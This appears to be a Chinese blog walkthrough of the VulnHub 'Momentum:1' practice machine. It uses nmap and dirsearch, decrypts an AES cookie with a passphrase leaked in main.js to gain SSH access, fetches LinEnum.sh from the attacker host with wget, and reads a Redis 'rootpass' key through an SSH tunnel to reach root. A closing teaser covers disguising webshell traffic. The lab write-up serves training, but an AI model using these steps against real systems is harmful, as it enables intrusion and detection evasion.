vulnhub: Momentum:1

  • vulnhub: Momentum:1已关闭评论
  • 48 views
  • A+

vulnhub: Momentum:1

介绍:

momentum:1模拟了一台带有漏洞的web服务器,于四月份在vulnhub和hackmyvm上架,涉及到的漏洞点有:敏感信息泄露、redis配置疏漏导致的数据库远程登录等,学习一下相关漏洞,并在本文记录一下渗透过程。

网络结构:

环境搭建平台为VMware15,使用VirtualBox亦可,网络为nat模式,网段192.168.1.0/24,开启dhcp服务,靶机自动获取ip地址

网络由攻击机kali、靶机Momentum:1组成

靶机ip:192.168.1.167

kali linux ip:192.168.1.137

靶机获取:https://download.vulnhub.com/momentum/Momentum.ova

信息收集:

主机发现:

nmap -sP 192.168.1.0/24

如图,图中192.168.1.1为VMnet8网卡地址,1.3为网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.167

image-20210505143146957

访问ip192.168.1.167,来到网站主页,网站展示了一些雕塑图片

image-20210505143631820

点开一个,进去会跳转到一个详细信息之类的页面opus-details.php,第一眼看到url里面这个参数id,想到了注入,一会可以试试,先放置

image-20210505145854478

端口扫描:

扫描一下主机的端口开放

可以看到,目标主机除了开放80端口之外,还开放了22端口允许ssh连接

image-20210505144024141

目录扫描:

dirsearch扫描一下网站目录

image-20210505144949206

漏洞挖掘及利用:

dirsearch扫出了一部分页面,依次访问下看看能不能发现什么漏洞点

/css放置了一个样式表style.css,内容正常,除此之外没有发现别的文件

/img里放置了主页里的四张图片

访问/manual会跳转到apache的说明文档,如下图

image-20210505171919969

还剩一个/js目录,打开之后给出了一个main.js

image-20210505145522885

点开看下

可以看到里面有个重定向链接opus-details.php?id=,后面拼接了个参数str,这不就是刚刚主页点击图片跳转的那个页面吗,到index右键看一下源代码,确实是使用了这个main.js执行了重定向

image-20210505165027243

image-20210505161858691

回到opus-details.php,发现拼接不存在的参数时会直接打印出来

image-20210505162746326

尝试了RCE和sql注入,未果,尝试xss可以拿到一个cookie值,很明显是个加密值

U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt

image-20210505172115778

回到main.js,继续往下看,代码还有一段注释

var CryptoJS = require("crypto-js");
var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");
console.log(decrypted.toString(CryptoJS.enc.Utf8));

很明显是个AES加密,后面还给出了密码参数值SecretPassphraseMomentum,只是不知道对什么进行了加密,有可能会是刚刚拿到的cookie,可以试一下

image-20210505172602942

上图是一个在线解密:https://www.browserling.com/tools/aes-decrypt,可以看到,成功解出明文

auxerre-alienum##

很像是一个用户名-密码对,结合靶机开放了ssh,可以尝试登录一下

使用用户名auxerre,密码alienum##,登录失败,多次尝试后,发现整个auxerre-alienum##为auxerre的密码

登录成功

image-20210505174336537

权限提升:

在本地搭建一个http服务,然后在靶机端下载一个LinEnum.sh,这是一个本地信息收集脚本,LinEnum.sh是一个本地信息收集脚本,可以收集包括运行进程、内核版本、suid文件等各种信息

python3 -m http.server 8001

image-20210505174733810

靶机端下载

wget http://192.168.1.137:8001/LinEnum.sh

wKg0C2CSjJyAG8Z0AAAtsnYfBC0923.png

添加权限,运行,将运行结果保存到1.txt

image-20210505175219367

查看1.txt,内核版本很高,suid文件中也没有看到可疑文件

image-20210505175738526

image-20210505175649026

继续向下找,看一下端口占用信息

image-20210505180047749

这里可以看到有一个本地6379端口处于listen状态,数据库redis的默认端口就是6379

aux查看一下占用进程

ps aux | grep 127.0.0.1

image-20210505181533819

如上图,可以看到占用6379端口的正是redis

本地登录下试试,显示未找到命令,可能未安装客户端,或没有给当前用户权限

但我们可以尝试利用ssh远程连接6379端口,然后在kali端登录,这里kali同样使用6379端口

ssh -L 6379:127.0.0.1:6379 [email protected]

image-20210505193748177

nmap看一下自己的6379端口,可以看到,已经连接上了,redis服务

nmap -p 6379 -A 127.0.0.1 -T4

image-20210505195449695

kali端登录,登录成功

redis-cli -h 127.0.0.1 -p 6379

image-20210505195553507

查看一下数据库内存储的键(redis是非关系型数据库,数据是以键-值对的形式进行存储,没有传统的表)

可以看到一个rootpass键,这个名字看着就与root用户有关

image-20210505200101219

查看键,给出了一个和之前那个用户很像的密码,很可能是root密码

image-20210505200227295

我们试一下,成功提权至root

image-20210505200315558

查看flag

image-20210505200336998

相关推荐: 蚁剑流量改造学习

流量分析 挂个代理直接抓包就好了 UA头修改 修改蚁剑工作目录的/modules/request.js,这里面默认是antSword/v2.1 一般需要修改一下,不然极其容易被发现,可以利用平常爬虫的一些技巧,随机构造UA头 ``` let USER_AGEN…